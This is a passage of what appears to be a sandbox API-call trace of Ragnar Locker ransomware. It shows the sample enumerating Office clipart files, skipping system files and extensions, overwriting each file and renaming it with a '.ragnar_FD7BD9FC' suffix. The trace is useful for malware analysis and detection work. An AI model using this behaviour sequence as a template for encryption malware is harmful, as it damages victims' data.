nNumberOfBytesToUnlockLow=0x3854, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.211] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.211] GetProcessHeap () returned 0x580000 [0087.211] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.211] CloseHandle (hObject=0xf4) returned 1 [0087.211] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" [0087.211] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ragnar_FD7BD9FC" [0087.211] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281632.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281632.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.212] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0087.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.212] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281638.WMF" | out: lpString1="J0281638.WMF") returned="J0281638.WMF" [0087.212] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF") returned=".WMF" [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="autorun.inf") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="boot.ini") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootfont.bin") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootsect.bak") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootmgr") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootmgr.efi") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="bootmgfw.efi") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="desktop.ini") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="iconcache.db") returned 1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ntldr") returned -1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ntuser.dat") returned -1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ntuser.dat.log") returned -1 [0087.212] lstrcmpiW (lpString1="J0281638.WMF", lpString2="ntuser.ini") returned -1 [0087.213] lstrcmpiW (lpString1="J0281638.WMF", lpString2="thumbs.db") returned -1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.213] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf")) returned 0x20 [0087.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.213] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11912) returned 1 [0087.213] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.213] GetProcessHeap () returned 0x580000 [0087.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.213] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2e88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.215] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.215] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e88, lpOverlapped=0x0) returned 1 [0087.216] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.216] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e88, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.216] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e88, lpOverlapped=0x0) returned 1 [0087.216] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.216] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.217] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.217] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.217] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.217] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.217] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.217] GetProcessHeap () returned 0x580000 [0087.217] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.217] CloseHandle (hObject=0xf4) returned 1 [0087.217] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" [0087.217] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ragnar_FD7BD9FC" [0087.217] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281638.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281638.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.218] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0087.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.218] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0281640.WMF" | out: lpString1="J0281640.WMF") returned="J0281640.WMF" [0087.218] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF") returned=".WMF" [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="autorun.inf") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="boot.ini") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootfont.bin") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootsect.bak") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootmgr") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootmgr.efi") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="bootmgfw.efi") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="desktop.ini") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="iconcache.db") returned 1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ntldr") returned -1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ntuser.dat") returned -1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ntuser.dat.log") returned -1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="ntuser.ini") returned -1 [0087.218] lstrcmpiW (lpString1="J0281640.WMF", lpString2="thumbs.db") returned -1 [0087.218] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.219] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf")) returned 0x20 [0087.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.219] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12530) returned 1 [0087.219] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.219] GetProcessHeap () returned 0x580000 [0087.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.219] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.221] VirtualAlloc (lpAddress=0x0, dwSize=0x30f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.221] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.221] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30f2, lpOverlapped=0x0) returned 1 [0087.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.222] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30f2, lpOverlapped=0x0) returned 1 [0087.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.222] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.223] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.223] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.223] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.223] GetProcessHeap () returned 0x580000 [0087.223] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.223] CloseHandle (hObject=0xf4) returned 1 [0087.223] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" [0087.223] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ragnar_FD7BD9FC" [0087.223] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281640.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281640.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.224] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0087.224] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.224] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0282126.WMF" | out: lpString1="J0282126.WMF") returned="J0282126.WMF" [0087.224] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF") returned=".WMF" [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="autorun.inf") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="boot.ini") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootfont.bin") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootsect.bak") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootmgr") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootmgr.efi") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="bootmgfw.efi") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="desktop.ini") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="iconcache.db") returned 1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ntldr") returned -1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ntuser.dat") returned -1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ntuser.dat.log") returned -1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="ntuser.ini") returned -1 [0087.224] lstrcmpiW (lpString1="J0282126.WMF", lpString2="thumbs.db") returned -1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.224] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf")) returned 0x20 [0087.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.225] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15518) returned 1 [0087.225] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.225] GetProcessHeap () returned 0x580000 [0087.225] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.225] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.226] VirtualAlloc (lpAddress=0x0, dwSize=0x3c9e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.227] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c9e, lpOverlapped=0x0) returned 1 [0087.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.228] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c9e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c9e, lpOverlapped=0x0) returned 1 [0087.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.228] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.228] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, 